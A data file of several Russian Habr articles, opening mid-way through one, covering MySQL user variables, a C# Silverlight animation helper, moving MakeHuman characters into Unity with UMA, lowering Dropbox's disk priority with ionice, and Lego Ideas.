CREATE TABLE `t_modifyed` SELECT t, (SELECT `d` FROM `t` `in` where `in`.t < `out`.`t` order by t desc limit 1 ) prev, d FROM `t` `out` ORDER BY `t`;
```
Вариант модификации с использованием пользовательских переменных:
```
set @v = NULL; CREATE TABLE `t_moifyed` SELECT t, @v prev, @v:=d d FROM `t` ORDER BY `t`;
```
В таблице 3 приведены длительности выполнения запросов (при разном количестве строк в таблице).
| | | | | |
| --- | --- | --- | --- | --- |
| Период | Количество строк | Реляционный вариант запроса | Запрос с ПП (последовательная выборка) | Запрос с ПП (сортировка в процессе выполнения) |
| 1 день | 1,440 | 0.35 сек | 0.00 сек | 0.00 сек |
| 1 неделя | 10,800 | 12.33 сек | 0.00 сек | 0.01 сек |
| 1 месяц | 43,200 | 3 мин 45 сек | 0.10 сек | 0.15 сек |
| 1 год | 525,600 | более 5 часов | 0.54 сек | 0.96 сек |
Таблица 3. Измерения длительностей выполнения запросов из примера №4.
**Другие способы применения.** Многие реляционные СУБД позволяют в ходе выполнения запроса использовать номер текущей строки вывода.
* Oracle (переменная: rownum)
* Microsoft SQL (функция ROW\_NUMBER())
* PostgreSQL (функция ROW\_NUMBER())
В MySQL rownum можно корректно эмулировать только с помощью пользовательских переменных:
```
set @n:=0;
select @n:=@n+1 as rownum, t.* from t;
```
Строго говоря, в MySQL нет небходимости использовать rownum: для ограничения количества возвращаемых запросом строк существует инструкция LIMIT, но иногда может потребоваться.
**Вывод.** Использование пользовательских переменных в определенном типе запросов позволяет добиться большей скорости при выполнении запросов, чем в их реляционных аналогах. Это может возникать в тех случаях, если:
* запрос таков, что не может эффективно использовать индексы (количество выбранных значений по индексу чересчур велико и оптимизатор делает *FTS*);
* в ходе выполнения запроса используются вычисленные на предыдущих шагах и занесенные в пользовательские переменные значения.
**Аналогичная возможность в других реляционных СУБД.** Механизм, аналогичный механизму пользовательских переменных имеется почти во всех современных реляционных СУБД. В данном разделе приведены примеры для PostgreSQL и Microsoft SQL. В случае использования функций, приведенных ниже необходимо учитывать то, что при их создании не были предприняты никакие действия для того, чтобы строки выбирались из таблицы в нужном порядке (по возрастанию метки **t** ).
[**PostgreSQL**](http://www.postgresql.org/): СУБД PostgreSQL не поддерживает возможность использовать пользовательские переменные в процессе выполнения запроса. Но начиная с версии 9.0 в PostgreSQL есть возможность создавать анонимные блоки кода. К сожалению, они не поддерживают формальных параметров и не возвращают значений. Однако есть возможность создать функцию в схеме [pg\_temp](http://www.postgresql.org/docs/8.3/interactive/sql-createfunction.html), что обеспечит автоматическое удаление функции из схемы по завершении сессии. Пример функции, вычисляющей максимальный перепад:
```
DROP FUNCTION IF EXISTS pg_temp.max_drop();
CREATE FUNCTION pg_temp.max_drop() returns int as $$
DECLARE
prev INTEGER; curr INTEGER; max_ INTEGER;
begin
max_ := 0; prev := 0;
FOR curr IN SELECT d FROM pogoda
LOOP
IF (curr - prev > max_) THEN max_ := curr - prev; END IF;
prev := curr;
END LOOP;
RETURN max_;
end
$$ lANGUAGE plpgsql;
```
[**Microsoft SQL**](http://www.microsoft.com/sqlserver/ru/ru/default.aspx): Основное отличие запроса от запроса с использованием ПП MySQL в том, что у переменной нужно задавать тип заранее.
```
DECLARE @diff int;
DECLARE @prev int;
set @diff = 0;
set @prev = 0;
select @diff = case when @diff> (d-@prev) then @diff else (d-@prev) end, @prev = d from npogoda;
select @diff;
```
[**Oracle**](http://oracle.com): на момент написания этой статьи в языке Oracle SQL отсутствует возможность использовать пользовательские переменные — такая возможность имеется лишь в языке PL/SQL и таких расширениях, как SQLPLUS, Oracle XE, и. т. д.
**Благодарности.** Автор выражает благодарность за неоценимую помощь в процессе написания следующим людям:
* [Григорию Рубцову [rgbeast]](http://habrahabr.ru/users/rgbeast/)
* [[retvizan]](http://habrahabr.ru/users/retvizan/)
* [Павлу Пушкарёву [paulus]](http://webew.ru/users/49.webew)
* [[1234ru]](http://habrahabr.ru/users/1234ru/) | https://habr.com/ru/post/133781/ | null | ru | null |
# Сервелат, анимация и старый добрый code-behind
Решил немножко покопаться в Silverlight, да смастерить на нём что-нибудь прикольное. Это прикольное, конечно, должно шевелиться, переливаться и плавно подёргиваться, ибо вебдваноль у нас или где? :). И вот тут мне пришлось столкнуться с неплохой, по сути, системой анимаций в WPF/Silverlight. Покурив MSDN, я бодренько приступил к написанию анимаций в XAML. Одну написал, вторую, третью… А потом мне захотелось сделать так, чтобы они шли в определённой последовательности. И вот тут-то я и понял, что XAML, зараза, очень избыточный. Для описания интерфейсов он подходит идеально: сразу видно, что к чему относится и надобность в визуальном редакторе отпадает чуть менее, чем полностью. Но вот когда пытаешься написать в этом XAMLе какую-то логику, начинает проявляться вся его несуразность. Покурив гугл, я был сильно удивлён тем, что большинство людей упорно пытаются впихнуть в XAML **абсолютно всё**. Ругаются, путаются в коде, плачут, но продолжают писать. Прямо как те мыши с кактусом, чесслово. И тут мне пришла идея аккуратно описать анимации обычным кодом на C#. Мы, так сказать, олдфаги, рисовали интерфейс прямыми вызовами к WinAPI, неужто нас какие-то анимации испугают? :)
В результате получился вот такой портабельный класс *AnimationBag*. Портабельный он потому, что его безо всяких изменений можно использовать как в WPF, так и в Silverlight.
```
public class AnimationItem
{
public event EventHandler Completed;
private void OnStoryboardComplete(object sender, EventArgs e)
{
if (Completed != null)
Completed(this, EventArgs.Empty);
}
private Storyboard storyboard;
public Storyboard Storyboard
{
get { return storyboard; }
set
{
if (storyboard != null)
storyboard.Completed -= OnStoryboardComplete;
storyboard = value;
storyboard.Completed += OnStoryboardComplete;
}
}
public Action BeginAction { get; set; }
public Action EndAction { get; set; }
}
public class AnimationBag
{
private readonly Dictionary storyboards = new Dictionary();
public void AddAnimation(string name, DependencyObject control, string propertyName, Timeline animation, Action beginAction = null, Action endAction = null)
{
Storyboard board = new Storyboard();
AnimationItem item = new AnimationItem { BeginAction = beginAction, EndAction = endAction };
Storyboard.SetTarget(animation, control);
Storyboard.SetTargetProperty(animation, new PropertyPath(propertyName));
board.Children.Add(animation);
if (endAction != null)
item.Completed += item\_Completed;
item.Storyboard = board;
storyboards[name] = item;
}
private void item\_Completed(object sender, EventArgs e)
{
KeyValuePair pair = storyboards.Where(x => x.Value.Equals(sender)).FirstOrDefault();
if (pair.Value != null && pair.Value.EndAction != null)
pair.Value.EndAction.Invoke();
}
public void StartAnimation(string name)
{
if (!storyboards.ContainsKey(name))
return;
if (storyboards[name].BeginAction != null)
storyboards[name].BeginAction.Invoke();
storyboards[name].Storyboard.Begin();
}
public void StopAnimation(string name)
{
if (!storyboards.ContainsKey(name))
return;
storyboards[name].Storyboard.Stop();
if (storyboards[name].EndAction != null)
storyboards[name].EndAction.Invoke();
}
public static DoubleAnimation CreateDoubleAnimation(double? to, long durationMs, double? from = null, bool repeat = false)
{
DoubleAnimation ret = new DoubleAnimation { To = to, From = from, Duration = new Duration(TimeSpan.FromMilliseconds(durationMs)) };
if (repeat)
ret.RepeatBehavior = RepeatBehavior.Forever;
return ret;
}
}
```
Как видно из кода, класс предельно простой. Вот пример использования.
XAML:
```
```
Code-behind:
```
public partial class MainWindow : Window
{
private readonly AnimationBag animations = new AnimationBag();
public MainWindow()
{
InitializeComponent();
InitAnimations();
}
private void InitAnimations()
{
animations.AddAnimation(
"fadeOut",
rectangle1,
"Opacity",
AnimationBag.CreateDoubleAnimation(0, 500),
null,
() => animations.StartAnimation("fadeIn"));
animations.AddAnimation(
"fadeIn",
rectangle1,
"Opacity",
AnimationBag.CreateDoubleAnimation(1, 500));
}
private void button1_Click(object sender, RoutedEventArgs e)
{
animations.StartAnimation("fadeOut");
}
}
```
Сам класс представляет собой что-то вроде словаря с ключами — именами анимаций и значениями — анимациями. В методе *InitAnimations* в коллекцию добавляются две анимации, при этом указывается имя, контрол, над которым будет производится действо, свойство этого контрола и сам объект анимации. Его можно создавать ручками, а можно добавить статические хэлперы к уже имеющемуся методу для *DoubleAnimation*. Кроме всего прочего, метод *AddAnimation* может принимать два делегата, которые будут выполняться до и после самой анимации. Например, здесь после завершения анимации “fadeOut” сразу запускается “fadeIn”.
В итоге, получился довольно удобный механизм, позволяющий описывать анимации одной строкой кода вместо килобайтов перегруженного XAML.
[Скачать исходники с тестовыми проектами](http://olegtarasov.me/files/coding/animation.zip) | https://habr.com/ru/post/109261/ | null | ru | null |
# Менять одежду на персонажах из MakeHuman в Unity3d
Цель статьи - перенести персонажа из Makehuman в Unity3d так, чтобы его одежду можно было снимать и надевать прямо во время игры.
Для этого нам понадобится [Makehuman](http://www.makehumancommunity.org/), [Blender3d](https://www.blender.org/), [Unity3d](https://unity.com/) и его плагин [UMA](https://assetstore.unity.com/packages/3d/characters/uma-2-unity-multipurpose-avatar-35611) (они все бесплатные). Статья написана по мотивам [этого](https://www.youtube.com/channel/UCjIhCVu3eN5qLAX7H9Uo6jg) ютуб канала, повторяя за автором я набил много шишек, и теперь готов изложить своё видение.
Этап 1: Создание персонажа в Makehuman
--------------------------------------
Это самый легкий и приятный этап, тут необходимо смоделировать персонажа. Makehuman довольно простая программа, поэтому не буду описывать, как в ней работать.
Но есть три важных момента. Во-первых: нужно добавить скелет к модели (добавляется во вкладке Pose/Animate). В этом туториале я использую риг Game Engine. Во-вторых, если на персонаже есть одежда, то нужно отключить опцию удаления полигонов под одеждой (это можно сделать во вкладке Geometris -> Clothes, и снять галочку Hide faces under clothes). В-третьих, нужно экспортировать в fbx и указать единицы метры. Так же, на всякий случай, можно сохранить модель.
Несколько дополнительных моментовНе надо менять позу персонажа.
Одежду можно экспортировать по частям. То есть не надо напяливать все шмотки сразу, можно, например, сначала сохранить персонажа, у которого только штаны с рубашкой. В блендере экспортировать их, затем вернуться в makehuman, снять старую одежду и повторить операции экспорта, например, для шляпы и ботинок.
Единицы измерения метры, значит что десять клеточек в makehuman будут означать условный метр
Этап 2: Обработка его в Blender3d
---------------------------------
Тут нам нужно сделать три вещи:
* Нормализовать модель
* Добавить глобальную кость
* Нарезать части тела
Запускаем Blender3d. Для начала нам нужно удалить свет, камеру и куб и импортировать нашу модель. Затем импортируем нашу модель: File -> Import -> fbx (и выбираем наш fbx файл)
Грабля на которую я наступилПервый раз когда, потратил время на создание персонажа makehuman, в блендере нажал на экспорт вместо импорта (в результате в мой fbx файл записалась пустая сцена, и пришлось заново создавать персонажа). Тоже самое касается импорта.
#### Нормализация
Персонаж импортируется не в своей дефолтной позе. Если мы например, с нуля смоделируем персонажа, затем зададим ему кости, то его дефолтная поза будет той, в которой мы его смоделировали. И если мы изменим ему позу при помощи костей и перейдем в режим редактирования, то сетка персонажа примет его дефолтную позу. Наша задача очистить трансформацию позы.
Очищаем трансформацию позыПереходим в блендере в режим позы
Переход в режим позыВыделяем всё, (клавиша a)
Затем нажимаем pose ->clear transform -> all
Очистка трансформацииЧтобы проверить, что трансформации очищены, можно перейти в режим редактирования. Модель не должна при этом измениться.
После этого персонаж развернулся на 90 градусов, нужно вернуть его обратно
Вращение персонажа в блендерСначала нужно перейти в объектный режим.
Переход в объектный режимНапоминаю что мышь должна находиться на экране с моделькой. Далее нужно нажать R для перехода в режим вращения, затем X для того чтобы вращение было только по этой оси. Затем на клавиатуре набрать -90 и нажать Enter
И наконец, нужно очистить внутреннее масштабирование и вращение всех мешей.
Очистка масштабирования и вращенияЕсли мы, например, создадим два куба и первый сожмем в объектном режиме, а второй в режиме редактирования, то они сожмутся по разному. На панели трансформации в первом случае scale по всем осям будет 0.500, во втором 1.000. Это значит, что у первого куба меняется атрибут scale, а сам куб, как бы не меняется. То же самое с вращением.
Для модели нашего персонажа нам нужно добиться чтобы все его меши имели вращение 0° и масштабирование 1.000 (без изменения формы самих мешей естественно).
Для этого нужно, в объектном режиме выделять каждый меш (включая арматуру) нажимать на ctrl + a, и выбирать пункт rotation & scale.
#### Добавление глобальной кости
Теперь нам нужно добиться, чтобы скелет был совместим с UMA. Для этого нужно добиться такой иерархии костей.
```
Global (Head= 0,0,0 Tail=0,0,0.1) // новая кость
Position (Head= 0,0,0 Tail=0,0,0.1) // бывшая Root кость
весь старый скелет (кость pelvis)
```
Пошаговая инструкция как этого добитьсяВыделим Root кость и переименуем её в Position. Затем выставляем у неё характеристики Transform так же как на картинке.
Далее выделяем в арматуру (у меня это Game\_engine) и переходим в режим редактирования. Далее нажимаем на add -> single bone
У нас появится кость с именем bone, и её нужно переименовать в Global и выставить в ней те же характеристики, что и для кости Position.
Далее нужно сделать Global кость предком кости Position. Для этого нужно сначала свернуть список дочерних костей у кости Position.
Далее выделить кость Global, затем зажав shift, выделить кость Position. Перевести мышь на экран с 3d моделью и нажать на ctrl + p, в выпадающем меню выбрать keep offset.
#### Нарезка персонажа
Персонаж в UMA состоит из слотов - это такие части модели на которые можно надевать/снимать какую-нибудь шмотку. Например, когда мы надеваем броню на торс персонажа, у него должен исчезнуть торс и замениться торсом с доспехами.
В этом туториале мы разобъём персонажа на следующие слоты
* Голова
* Торс
* Ноги (без ступней)
* Ступни
* Глаза
* Волосы
Первом делом нам нужно создать сетку швов (seams mesh). Для того чтобы можно было менять те части, которые идут единой сеткой (например чтобы голова выглядела приделанной к туловищу, а не как отдельная моделька). Для этого нам нужно продублировать главную сетку.
Создание seams meshВыделяем главную сетку (в моём случае она выглядит вот так). Прочие сетки (глаза, волосы и одежду) я скрыл.
seams meshНажимаем shift + d, затем RMB
В результате она должна продублироваться.
И называем её seams mesh (либо любым другим названием).
Теперь осталось добиться того, чтобы вместо старого меша были отдельные части.
Нарезка персонажаПереходим в режим редактирования нашей главной сетки (не seams mesh).
В подрежим редактирование поверхностей.
Зажимаем alt и нажимаем на какой нибудь из прямоугольников на шее чтобы выделить полоску как на рисунке ниже (стараемся кликнуть ближе к вертикальному ребру чем к горизонтальному, иначе выделится вертикальная лента).
*UPD: раньше выделял голову при помощи кругового выделения (клавиша c) и рентгеновского вида, но пользователь ValeryIvanov подсказал более удобный способ:*
Нужно скрыть это кольцо (клавиша h), далее навести курсор на голову и нажимаем L (должна выделиться вся голова), затем снова показываем полосу на шеи, нажав на Alt + L. Далее нажимаем на P и в выпадающем меню выбираем SПelection. Всё, голова отделена.
Скрываем полоску на шеи (клавиша H)Нажимаем на L чтобы выделить голову (курсор должен быть на голове)Покзываем полоску (Alt + L) и отделяем выделенное (P -> Selection)Не забудем переименовать получившийся меш.
Теперь такую же операцию нужно проделать с другими частями. В результате у меня получилась вот такая картина. Тут поменял ракурс и выделил торс и ступни чтобы было лучше видно меши на которые я разбил модель.
Ещё я нарезал одежду и переименовал части тела.
Таким образом, мы имеем seams mesh и множество мешей если собрать которые получиться модель персонажа. Каждый с одинаковой арматурой.
Теперь экспортируем персонажа в формате fbx (желательно в ту же папку куда экспортировали из makehuman потому что там должны лежать текстуры к нему)
Этап 3: Создание UMA расы
-------------------------
#### Подготовка сцены
Открываем unity, скачиваем [вот этот](https://assetstore.unity.com/packages/3d/characters/uma-2-unity-multipurpose-avatar-35611) ассет и импортируем его в unity. Это ничто иное как UMA - Unity Multipurpose Avatar, фреймворк который позволяет кастомизировать персонажей. Перетаскиваем префаб UMA/Getting Started/UMA\_GLIB в иерархию.
#### Импорт персонажа
Создаём папку в юнити в которой будем работать, я назвал её characters. Перетаскиваем туда папку с нашим персонажем (fbx и текстуры). Возможно появиться сообщение о том, что некоторые текстуры не помечены как карты нормалей. Можно нажать fix now.
Для удобства при работе с UMA я закидываю всё в одну папку (в characters), потому что при создании и настройки ассетов постоянно приходиться указывать в них ссылки на друг друга. А каждый раз лазить по папкам не всегда удобно. В любом случае, после того как мы всё настроем можно будет навести порядок.
Выделяем в менеджере проекта нашу fbx модельку, в инспекторе снимаем галочку Convert Units, и нажимаем Apply. Далее переходим во вкладку rig в animation type, выбираем Humanoid и так же нажимаем Apply.
Теперь нажимаем в верхнем меню UMA -> Extract T-Pose (в менеджере проекта наша fbx модель должна быть выделена). В результате должна появиться папка TPoses с экспортированной т-позой.
СкриншотыИмпорт персонажаГенерируем ригЭкспортируем T-PoseДля удобства перетаскиваем t-pose в рабочую папку#### Создание слотов и оверлеев
В верхнем меню выбираем UMA -> Slot Builder, появившийся окно я перетаскиваю рядом со вкладкой иерархии. Нажимаем на стрелочку рядом с fbx моделью и находим там часть seams mesh и перетаскиваем её в поле seams mesh в Slot Builder. В UMAMaterial выбираем UMA\_defuse (для простоты). В slot destination folder переместите папку куда будут генерироваться слоты.
Теперь перетаскиваем части которые должны выглядеть единым мешем в панель automatic Drag and Drop porcessig. Это голова, торс, ноги и ступни (но не глаза и волосы). После того как закончили, в seams mesh выберите None и подобным образом перетащите глаза, волосы и одежду.
СкриншотыОткрываем Slot BuilderПомещам его рядом с иерархиейНажимаем на треугольник, чтобы развернуть модельПеретаскивам сетку швовВыбераем материалУказываем папку где должны появиться слотыЧерез ctrl выделяем части, которые связаны между собойПереносим их на панель "automatic Drag and Drop porcessig"Устанавливаем Seams Mesh в NoneАналогично переносим части которые могут сниматься/надеватьсяПереименуем все слоты (как файлы, так и имена в инспекторе) и перенесем их в рабочую папкуТеперь нужно создать оверлеи. Оверлей это по сути текстура, созданная специально для UMA, которую можно комбинировать с другими такими текстурами, используется например для добавления шрамов, татуировок, макияжа, рисунка на щите (ещё можно добиться чтобы цвет этого рисунка на щите менялся программно). Итак, правый клик мыши в менеджере проекта, Create -> UMA -> Core -> Overlay Asset. В Overlay name впишите имя оверлея (например skin), в material выберете тот материал который указывали при создание слотов (в нашем случае это UMA\_defuse) в спойлере количество каналов укажите 1, и перетащите в появившиеся поле \_MainTex соответствующую текстуру. Ту же операцию проделайте для других текстур.
В верхнем меню нажмите UMA -> Global Library, и перетащите в левую панельку папку в которой мы работали. Это добавить в глобальный индекс все созданые нами вещи. Ничего страшного если мы не сделаем этот шаг, в таком случае, пердложения добавить расу/слот/оверлей в глобальный индекс, будут показаны при настройке расы и базового рецепта.
СкриншотыСоздаем оверлей (рекоменую в папке с текстурами)Переименовываем его и задеём имяВыбираем тот же материал, что указали при создани слотовУказываем количество текстурных каналов 1, и перенести текстуруТо же самое проделайте для глаз, волос и одежды. По завершении, оверлеи лучше перенести в рабочую папку.
РезультатОткройте Global LibraryПеренесите рабочую папку в панель "Drag indexable assets here to Add them to the index"#### Создание TextRecipe и RaceData
Снова правый клик мыши в менеджере проекта Create -> UMA -> Core -> Race Data, затем Create -> UMA -> Core -> Text Recipe. Первый файл - это файл расы. Второй - это базовый набор слотов/оверлеев для неё. Придумайте название для них и переименуйте файлы соответствующим образом. Выделите расу и, сначала, в поле Base Race Recipe перетащите рецепт который мы только что создали. В поле Race Name введите её название, в TPose перетащите т-позу которую мы получили ранее.
Теперь нужно назначить Wardrobe Slots, это что-то типа ячейки инвентаря, куда можно надеть шмотку. В них помещается Wardrobe Recipe. Wardrobe Recipe по сути это сама шмотка. В чем же его отличие от обычный слотов? Слот это сменяемая одна из частей модели, вардроп рецепт это информация о том как этот слот (шмотка) будет надеваться на тело. Например если есть шляпа, то слот шляпы будет содержать меш шляпы, (и информацию о том, оверлеи с каким материалом с ним совместимы). А Wardrobe Recipe будет содержать ссылку на этот слот, нужные оверлеи, и информацию о том что нужно убрать волосы (и другую шляпу если она есть), и ещё скрыть часть головы, если её части проходят сквозь шляпу. Поэтому в Wardrobe Slots можно создать примерно вот такой список:
* None
* Hair
* Head
* Body
* Legs
* Feet
Теперь выделите файл с BaseRecipe, переключитесь на вкладку Slots. В поле Race Data перетащите наш файл расы (да, теперь файл расы и базовый рецепт ссылаются друг на друга). Теперь нужно перетащить слоты тела на соответствующую панель (слоты одежды не обязательно перетаскивать). В результате должен получиться список из слотов. Теперь для каждого слота нужно перетащить соответствующий оверлей. В данном случае для всех частей тела используется один и тот же оверлей, и после перетаскивания он будет отображаться в панели shared overlays.
СкриншотыСоздаем Race Data и Text RecipeЯ назвал их MaleRace и BaseRecipe соответственно
Перемещаем BaseRecipeПеренеситье т-позу, и введите название расыЗадаём Wardrobe SlotsУкажите ссылку на расу (и, при необходимости, добавте её в глобальную библиотеку)Переносим слоты телаЕсли не добавляли слоты в индекс, нажмите на "Add to Global Index (Recommended)". Перенесём соответвующие оверлеи (и, если попросят, также добавим их в глобальную библиотеку)В резуьлтате должно получить вот так#### Добавление персонажа на сцену
Всё что мы до этого делали было подготовкой к этому шагу. Настраиваем сцену (например добавляем плоскость, играющую роль земли). Перетаскиваем префаб UMA/Getting Started/UMADynamicCharacterAvatar в сцену (можно переименовать его). В инспекторе в компоненте Dynamic Character Avatar в поле Active Race выбираем нашу расу.
Добавляем анимациюУ меня по умолчанию не запустилась анимация (для базовых рас тоже, поэтому подозреваю что это недоработка). Глубоко этот вопрос пока не изучил, но сумел добиться чтобы она воспроизводилась. Для этого под спойлером Race Animation Controllers в списке Race Animators удаляем все элементы и добавляем новый, в Race указываем нашу расу, в Animator выбираем IdleTest-w-head.
Нажимаем на Play. У вас должен появиться персонаж которого мы собрали.
СкриншотыСоздаем полПереносим префаб UMA/Getting Started/UMADynamicCharacterAvatar на сценуВ поле Active Race выбираем нашу расу, лысый мужик должен смениться нашей модельюУдаляем старые аниматорыНажимаем на кнопку Add Race AnimatorУказываем нашу расу в поле RaceУказываем анимтор IdleTest-w-headЗапустив игру, мы увидим нашу фигуруДобавление одежды
-----------------
Теперь создадим одежду Create -> UMA -> DCS -> Waredrop Recipe, выделяем созданный ассет назначаем ему расу, задаём имя и назначаем Wardrobe Slot . Затем по аналогии с созданием базового рецепта, перетаскиваем на панель слот и оверлей той шмотки которую мы ходим создать. Затем перетаскиваем этот ассет в глобальную библиотеку, так же как мы делали ранее. Проделываем эту операцию для других шмоток и волос. Теперь выделяем нашего персонажа в иерархии, в спойлере Customization -> Default Recipes перетаскиваем созданные вардроп рецепты на панельку.
Если тело проходит сквозь одежду, то нужно создать сетку сокрытия. Create -> UMA -> Misc -> Mesh Hide Asset, указываем слот с частью тела, который нужно частично скрыть, нажимаем на кнопку Begin Editing и в редакторе выделяем те грани, которые будут скрываться при надевании этой шмотки. Далее в Waredrop Recipe нажимаем на кнопку Add Mesh Hide Asset, и выбираем сетку сокрытия.
Теперь можно надевать и снимать эту вещь. Для этого выбираем наш Dynamic Character Avatar, и в спойлере Customisation -> Default Waredrop Recipes перетаскиваем на панельку наш вардроп рецепт.
СкриншотыСоздаем wardrobe recipeПереименовываем его, и указываем Display ValueУказываем wardrobe slot в котрой будет надета шмоткаПо аналоги с созданем TextRecipe добавлем слот......и оверлей (не забываем добавить их в глобальный индекс)Запускаем игру и петаскиваем сюда наш рецепт*На всякий случай скажу что если надеть их не в игре, а в режиме редактирования, то их не нужно будет каждый раз заново надевать.*
Сетка тела, может в некторых местах проступать через одежду. Есть два варанта как поступить: назначить в wardobe recipe слот (слоты) которые будут скрываться при применение этого рецепта. Или можно добавить сетку сокрытия.
В случае на скриншоте можно просто скрывать весь слот
Указываем вардроп-слот, связанные с котором слоты должны скрыться.Но если одежда покрывает не весь слот (то есть скрыть слот не варант) то на помощь придет сетка сокрытия.
Создаём сетку сокрытияВыбираем расуВыбираем слот, и нажимает Begin EditingАльтернативный способ, это сразу перенести слот части тела, которую нужно скрывать этой сеткой сокрытия, в поле Slot Data Asset, в моем случае это ноги (не шатаны).
Выделяем те части слота, которорые будем скрывать. Завершив, нажимаем на "Save & Return"И в нашем вардро рецепте назначам нашу сетку сокрытияЗапускаем игруЗапустив игру и надев нужную деатль одежды (в нашем слчае штаны), мы теперь увидим что они не просвечивают.
#### Добавление и удаление одежды программно
Для этого нужно использовать методы компонента DynamicCharacterAvatar. Для добавления SetSlot и ClearSlot для удаления, после этого нужно вызвать метод BuildCharacter. Первый аргумент SetSlot это имя слота куда необходимо надеть шмотку. Полный список доступных слотов можно посмотреть в файле расы. Второй аргумент это имя файла нашего Waredrop Recipe. В ClearSlot нужно использовать только имя слота.
Первый аргумент в SetSlot излишен (имхо)На мой взгляд, информация о том куда мы надеваем шмотку излишняя. По сути, значение первого аргумента SetSlot всегда совпадает с полем Waredrop Slot соответствующего Waredrop Recipe.
Вот пример скрипта, вам остается куда куда-нибудь повесить методы AddWardrobe и RemoveWardrobe.
```
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
using UMA;
using UMA.CharacterSystem;
public class Program : MonoBehaviour
{
// сюда нужно перетащить наш Dynamic Character Avatar
public GameObject DCA;
private DynamicCharacterAvatar avatar;
void Start(){
avatar = DCA.GetComponent();
}
public void AddWardrobe(string wardrobeSlot, string wardrobeRecipe){
avatar.SetSlot(wardrobeSlot,wardrobeRecipe);
avatar.BuildCharacter();
}
public void RemoveWardrobe(string wardrobeSlot){
avatar.ClearSlot(wardrobeSlot);
avatar.BuildCharacter();
}
}
```
### Заключение
Спасибо что дочитали до конца, надеюсь, эта статья станет для вас ещё одним шагом к созданию своей игры мечты. | https://habr.com/ru/post/544048/ | null | ru | null |
# HDD посвящается: усмиряем приложение, прожорливое на дисковое время
Корень всех зол
===============
Долгое время у меня была проблема — система очень сильно тормозила после старта. У меня ноутбук с жёстким диском (HDD) и **Ubuntu 14.04**.
Как выяснилось, причина крылась в одной лишь программе — демоне Dropbox. Dropbox — это онлайновое файловое хранилище, а его демон — программка, синхронизирующая файлы, расположенные в определённой папке, с онлайн-хранилищем. На старте демон начинает считывать свой кэш. У меня он занимает не одну сотню мегабайт, а удалять его вручную не стоит — есть вероятность потерять данные. Учитывая, что у меня жёсткий диск — устройство с механическими частями — демон начинал потреблять время доступа к нему настолько, что пользоваться компьютером и запускать приложения становилось малореально, пока он не прогрузится. Убрать его из автозапуска и запускать вручную? Неприятное решение, у меня и так есть вещи, которые я на старте вынужден запускать сам (например, iotop, он без прав суперпользователя не запускается). Нужно было найти способ сделать приложение менее прожорливым *именно на диск*.
ionice нам в помощь. Или нет?
=============================
Первое, о чём я услышал по этой теме, была утилитка **ionice**. Она позволяет изменять приоритет доступа к диску для заданного процесса. Согласно [мануалу](http://xgu.ru/wiki/man:ionice), существуют три класса приоритетности ввода/вывода. Меня интересовал **idle**, поскольку он, как я понял из описания, нейтрализует прожорливость приложения, пропуская всегда вперёд него процессы других классов приоритета. Казалось, дело в шляпе, и всё, что надо сделать, это:
> ionice -c3 -p $(pgrep dropbox)
Сделано. Эффекта — ноль. Как же так? Ладно, роем дальше.
Scheduler'ы, или «я ничего не понял, но звучит круто»
=====================================================
Как [выяснилось](http://serverfault.com/a/602384/173515), по умолчанию ionice на моей системе вообще не функционирует, поскольку должен быть включён планировщик [CFQ](https://en.wikipedia.org/wiki/CFQ). А по умолчанию в новых Убунтах включён планировщик [deadline](https://en.wikipedia.org/wiki/Deadline_scheduler). Не стану вдаваться в подробности, чем они отличаются, ибо сам не до конца въехал. В общем, читаю [краткое пояснение по этому делу](https://stackoverflow.com/questions/1009577/selecting-a-linux-i-o-scheduler), а потом меняю планировщик командой (вернее, я добавил эту команду в */etc/rc.local*, чтобы планировщик GFQ выставлялся на старте автоматически):
> echo cfq > /sys/block/sda/queue/scheduler
**Заметка**Кстати, в разделе «замечания» [мануала](http://xgu.ru/wiki/man:ionice) отмечено, что поддержка классов и приоритетов работает на CFQ. ~~Но поскольку до туда всё равно никто не дочитывает… XD~~
Что-то в системе слегка изменилось. Индикатор load при старте системы стал подниматься выше 11, а процессорная нагрузка стала состоять по большей части из wait. Не уверен, что это всё значит в долгосрочной перспективе, но проблема осталась — переключение на CFQ и последующее применение ionice на процесс dropbox на производительность системы на старте никакого заметного эффекта не произвело: ни положительного, ни отрицательного.
Ну кто столько потоков запускает?! О специфике демона Dropbox.
==============================================================
Я уж было разочаровался, но тут я заметил, что в **top** показан только один процесс dropbox, а **iotop** показывает несколько. И кстати, почему в top колонка идентификаторов процессов называется PID, а в iotop — TID? В чём разница между ними? [Ответ быстро нашёлся](http://stackoverflow.com/a/8787888/2052138). В моём же случае самое важное открытие: демон Dropbox для своих дел запускает несколько потоков. **Много** потоков. Выяснилось, что не один десяток. И диск начинают читать иногда по нескольку одновременно. Так вот откуда такие тормоза! А ionice не работал потому, что, присвоив класс приоритета основному процессу, он не передаёт этот класс приоритета дочерним потокам. Поэтому они как были со стандартным классом приоритета, так с ним и остались.
Что ж, как говорят британцы, будем применять [bodging](https://www.youtube.com/watch?v=lIFE7h3m40U). По-нашему, «костыли». Сделаем скриптик, который будет засекать процесс dropbox и все его дочерние потоки, брать их идентификаторы (PID или TID, в данном случае ionice'у это ~~изофаллично~~ ~~до лампочки~~ без особой разницы), и присваивать всем класс idle время от времени (на случай, если dropbox убивает часть дочерних потоков и/или создаёт новые).
```
#!/bin/bash
while true
do
#собираем список дочерних потоков
TIDS=( $(ps -L --pid $(pgrep -x dropbox) -o tid=) )
for i in "${TIDS[@]}"
do
echo $i
#присваиваем приоритет idle
ionice -c3 -p $i
done
sleep 5
done
```
Добавляем в автозапуск, перезагружаемся.
И всё заработало почти как будто демона Dropbox вообще нету. Эврика!
**Итоги**
Таким образом можно работать с любым процессом, потребляющим много дискового времени. Достаточно задать приоритет с помощью ionice и не забывать о подводных камнях, в частности:
* следить, не запускает ли процесс прожорливые дочерние потоки
* иметь в виду, что на некоторых системах планировщик ввода/вывода по умолчанию — не CFQ (который поддерживает классы и приоритеты)
Какие ещё вещи следует учитывать? Расскажите о своём опыте в комментариях. | https://habr.com/ru/post/282828/ | null | ru | null |
# Lego выпустит ваш конструктор, если за него проголосует 10 000 фанатов
Проект [Ideas.Lego](https://ideas.lego.com/) создан для того, чтобы любой желающий мог предложить свой конструктор. И если он наберет более 10 000 лайков, Лего его выпустит. Автор будет получать 1% от продаж.
